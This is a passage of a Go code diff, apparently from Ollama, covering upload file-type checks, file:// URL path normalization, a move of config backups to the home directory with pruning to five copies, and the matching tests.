input = strings.ReplaceAll(input, `"`+nfp+`"`, "")
input = strings.ReplaceAll(input, `"`+fp+`"`, "")
input = strings.ReplaceAll(input, fp, "")
files = append(files, File{Path: nfp, Data: data})
}
return strings.TrimSpace(input), files, nil
}
func GetData(filePath string) ([]byte, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
buf := make([]byte, 512)
_, err = file.Read(buf)
if err != nil {
return nil, err
}
contentType := http.DetectContentType(buf)
allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
if !slices.Contains(allowedTypes, contentType) {
return nil, fmt.Errorf("invalid file type: %s", contentType)
}
info, err := file.Stat()
if err != nil {
return nil, err
}
var maxSize int64 = 100 * 1024 * 1024
if info.Size() > maxSize {
return nil, errors.New("file size exceeds maximum limit (100MB)")
}
buf = make([]byte, info.Size())
_, err = file.Seek(0, 0)
if err != nil {
return nil, err
}
_, err = io.ReadFull(file, buf)
if err != nil {
return nil, err
}
return buf, nil
}
func Kind(path string) string {
if strings.EqualFold(filepath.Ext(path), ".wav") {
return "audio"
}
return "image"
}
func normalizeFileURL(u *url.URL) string {
path := u.Path
if unescaped, err := url.PathUnescape(path); err == nil {
path = unescaped
}
host := u.Host
if unescaped, err := url.PathUnescape(host); err == nil {
host = unescaped
}
if len(host) >= 2 && host[1] == ':' && isASCIIAlpha(host[0]) {
return filepath.Clean(filepath.FromSlash(host + path))
}
if len(path) >= 4 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
path = path[1:]
}
if u.Host != "" && !strings.EqualFold(u.Host, "localhost") {
return `\\` + u.Host + filepath.FromSlash(path)
}
return filepath.FromSlash(path)
}
func normalizeMalformedFileURL(raw string) (string, bool) {
const prefix = "file://"
if !strings.HasPrefix(strings.ToLower(raw), prefix) {
return "", false
}
path := raw[len(prefix):]
if unescaped, err := url.PathUnescape(path); err == nil {
path = unescaped
}
path = strings.TrimPrefix(path, "localhost")
if len(path) >= 3 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
path = path[1:]
}
if len(path) >= 2 && path[1] == ':' && isASCIIAlpha(path[0]) {
return filepath.Clean(filepath.FromSlash(path)), true
}
return "", false
}
func isASCIIAlpha(b byte) bool {
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
}
+30
View File
@@ -0,0 +1,30 @@
package filedata
import (
"path/filepath"
"testing"
)
func TestNormalizePathMalformedWindowsFileURL(t *testing.T) {
got := NormalizePath(`file://C:%5CUsers%5Cjdoe%5CPictures%5Cimg.png`)
want := filepath.Clean(`C:\Users\jdoe\Pictures\img.png`)
if got != want {
t.Fatalf("path = %q, want %q", got, want)
}
}
func TestNormalizePathTwoSlashWindowsFileURL(t *testing.T) {
got := NormalizePath(`file://C:/Users/jdoe/Pictures/img.png`)
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
if got != want {
t.Fatalf("path = %q, want %q", got, want)
}
}
func TestNormalizePathLocalhostWindowsFileURL(t *testing.T) {
got := NormalizePath(`file://localhost/C:/Users/jdoe/Pictures/img.png`)
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
if got != want {
t.Fatalf("path = %q, want %q", got, want)
}
}
+84 -11
View File
@@ -8,9 +8,16 @@ import (
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"time"
)
// Keep a bounded number of backups per file so config backups do not grow
// without limit. We keep the 5 most recent backups and do not pin the oldest.
const maxBackupsPerFile = 5
// ReadJSON reads a JSON object file into a generic map.
func ReadJSON(path string) (map[string]any, error) {
data, err := os.ReadFile(path)
@@ -36,34 +43,51 @@ func copyFile(src, dst string) error {
return os.WriteFile(dst, data, info.Mode().Perm())
}
// BackupDir returns the shared backup directory used before overwriting files.
// BackupDir returns the shared backup root used before overwriting files.
func BackupDir() string {
return filepath.Join(os.TempDir(), "ollama-backups")
if home, err := os.UserHomeDir(); err == nil && home != "" {
return filepath.Join(home, ".ollama", "backup")
}
return filepath.Join(os.TempDir(), "ollama-backup")
}
func backupToTmp(srcPath string) (string, error) {
func writeBackupCopy(srcPath string, integration string) (string, error) {
dir := BackupDir()
name := filepath.Base(srcPath)
if integration != "" {
dir = filepath.Join(dir, integration)
}
if err := os.MkdirAll(dir, 0o755); err != nil {
return "", err
}
backupPath := filepath.Join(dir, fmt.Sprintf("%s.%d", filepath.Base(srcPath), time.Now().Unix()))
backupPath := filepath.Join(dir, fmt.Sprintf("%s.%d", name, time.Now().Unix()))
if err := copyFile(srcPath, backupPath); err != nil {
return "", err
}
pruneOldBackups(dir, name, maxBackupsPerFile)
return backupPath, nil
}
// WriteWithBackup writes data to path via temp file + rename, backing up any existing file first.
func WriteWithBackup(path string, data []byte) error {
// WriteWithBackup writes data to path via temp file + rename, backing up any
// existing file first. Callers may optionally pass one integration name to
// store backups under BackupDir()/.../<integration>/.
func WriteWithBackup(path string, data []byte, integration ...string) error {
backupIntegration := ""
if len(integration) > 0 {
backupIntegration = integration[0]
}
var backupPath string
// backup must be created before any writes to the target file
if existingContent, err := os.ReadFile(path); err == nil {
if !bytes.Equal(existingContent, data) {
backupPath, err = backupToTmp(path)
if err != nil {
return fmt.Errorf("backup failed: %w", err)
}
if bytes.Equal(existingContent, data) {
return nil
}
backupPath, err = writeBackupCopy(path, backupIntegration)
if err != nil {
return fmt.Errorf("backup failed: %w", err)
}
} else if !os.IsNotExist(err) {
return fmt.Errorf("read existing file: %w", err)
@@ -101,3 +125,52 @@ func WriteWithBackup(path string, data []byte) error {
return nil
}
func pruneOldBackups(dir, name string, keep int) {
if keep < 1 {
return
}
entries, err := os.ReadDir(dir)
if err != nil {
return
}
type backupEntry struct {
name string
timestamp int64
}
prefix := name + "."
backups := make([]backupEntry, 0, len(entries))
for _, entry := range entries {
if entry.IsDir() || !strings.HasPrefix(entry.Name(), prefix) {
continue
}
timestamp, err := strconv.ParseInt(strings.TrimPrefix(entry.Name(), prefix), 10, 64)
if err != nil {
continue
}
backups = append(backups, backupEntry{
name: entry.Name(),
timestamp: timestamp,
})
}
if len(backups) <= keep {
return
}
sort.Slice(backups, func(i, j int) bool {
if backups[i].timestamp != backups[j].timestamp {
return backups[i].timestamp > backups[j].timestamp
}
return backups[i].name > backups[j].name
})
for _, backup := range backups[keep:] {
_ = os.Remove(filepath.Join(dir, backup.name))
}
}
+108 -3
View File
@@ -18,6 +18,12 @@ func TestMain(m *testing.M) {
if err := os.Setenv("TMPDIR", tmpRoot); err != nil {
panic(err)
}
if err := os.Setenv("HOME", tmpRoot); err != nil {
panic(err)
}
if err := os.Setenv("USERPROFILE", tmpRoot); err != nil {
panic(err)
}
code := m.Run()
_ = os.RemoveAll(tmpRoot)
@@ -41,6 +47,17 @@ func isolatedTempDir(t *testing.T) string {
func TestWriteWithBackup(t *testing.T) {
tmpDir := isolatedTempDir(t)
t.Run("uses ollama directory under home", func(t *testing.T) {
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
want := filepath.Join(home, ".ollama", "backup")
if got := BackupDir(); got != want {
t.Fatalf("BackupDir() = %q, want %q", got, want)
}
})
t.Run("creates file", func(t *testing.T) {
path := filepath.Join(tmpDir, "new.json")
data := mustMarshal(t, map[string]string{"key": "value"})
@@ -63,7 +80,7 @@ func TestWriteWithBackup(t *testing.T) {
}
})
t.Run("creates backup in the temp backup directory", func(t *testing.T) {
t.Run("creates backup in the shared backup directory", func(t *testing.T) {
path := filepath.Join(tmpDir, "backup.json")
os.WriteFile(path, []byte(`{"original": true}`), 0o644)
@@ -110,6 +127,35 @@ func TestWriteWithBackup(t *testing.T) {
}
})
t.Run("stores hinted backups under a subdirectory", func(t *testing.T) {
path := filepath.Join(tmpDir, "hinted.json")
os.WriteFile(path, []byte(`{"original": true}`), 0o644)
data := mustMarshal(t, map[string]bool{"updated": true})
if err := WriteWithBackup(path, data, "openclaw"); err != nil {
t.Fatal(err)
}
entries, err := os.ReadDir(filepath.Join(BackupDir(), "openclaw"))
if err != nil {
t.Fatal(err)
}
var found bool
for _, entry := range entries {
name := entry.Name()
if len(name) > len("hinted.json.") && name[:len("hinted.json.")] == "hinted.json." {
found = true
_ = os.Remove(filepath.Join(BackupDir(), "openclaw", name))
break
}
}
if !found {
t.Error("backup file was not created under hint directory")
}
})
t.Run("no backup for new file", func(t *testing.T) {
path := filepath.Join(tmpDir, "nobak.json")
@@ -189,6 +235,35 @@ func TestWriteWithBackup(t *testing.T) {
t.Error("backup file with timestamp not found")
}
})
t.Run("retains only the five newest backups per file", func(t *testing.T) {
path := filepath.Join(tmpDir, "pruned.json")
if err := os.WriteFile(path, []byte(`{"v": 0}`), 0o644); err != nil {
t.Fatal(err)
}
for i := 1; i <= maxBackupsPerFile; i++ {
backupPath := filepath.Join(BackupDir(), fmt.Sprintf("pruned.json.%d", i))
if err := os.WriteFile(backupPath, []byte(fmt.Sprintf(`{"v": %d}`, i)), 0o644); err != nil {
t.Fatal(err)
}
}
if err := WriteWithBackup(path, []byte(`{"v": 1}`)); err != nil {
t.Fatal(err)
}
backups, err := filepath.Glob(filepath.Join(BackupDir(), "pruned.json.*"))
if err != nil {
t.Fatal(err)
}
if len(backups) != maxBackupsPerFile {
t.Fatalf("expected %d backups after pruning, got %d", maxBackupsPerFile, len(backups))
}
if _, err := os.Stat(filepath.Join(BackupDir(), "pruned.json.1")); !os.IsNotExist(err) {
t.Fatalf("expected oldest backup to be pruned, stat err = %v", err)
}
})
}
// Edge case tests for files.go
@@ -251,6 +326,36 @@ func TestWriteWithBackup_PermissionDenied(t *testing.T) {
}
}
func TestWriteWithBackup_UnchangedContentIsNoOp(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("permission tests unreliable on Windows")
}
tmpDir := isolatedTempDir(t)
path := filepath.Join(tmpDir, "unchanged-noop.json")
data := []byte(`{"same":true}`)
if err := os.WriteFile(path, data, 0o644); err != nil {
t.Fatal(err)
}
if err := os.Chmod(tmpDir, 0o555); err != nil {
t.Fatal(err)
}
defer os.Chmod(tmpDir, 0o755)
if err := WriteWithBackup(path, data); err != nil {
t.Fatalf("expected unchanged write to be a no-op, got %v", err)
}
backups, err := filepath.Glob(filepath.Join(BackupDir(), "unchanged-noop.json.*"))
if err != nil {
t.Fatal(err)
}
if len(backups) != 0 {
t.Fatalf("expected no backups for unchanged content, got %d", len(backups))
}
}
// TestWriteWithBackup_DirectoryDoesNotExist verifies behavior when target directory doesn't exist.
// writeWithBackup doesn't create directories - caller is responsible.
func TestWriteWithBackup_DirectoryDoesNotExist(t *testing.T) {
@@ -302,9 +407,9 @@ func TestBackupToTmp_SpecialCharsInFilename(t *testing.T) {
path := filepath.Join(tmpDir, "my config (backup).json")
os.WriteFile(path, []byte(`{"test": true}`), 0o644)
backupPath, err := backupToTmp(path)
backupPath, err := writeBackupCopy(path, "")
if err != nil {
t.Fatalf("backupToTmp with special chars failed: %v", err)
t.Fatalf("writeBackupCopy with special chars failed: %v", err)
}
// Verify backup exists and has correct content
Loaded 100 of 1436 files, more files were not shown because too many files have changed in this diff. Show more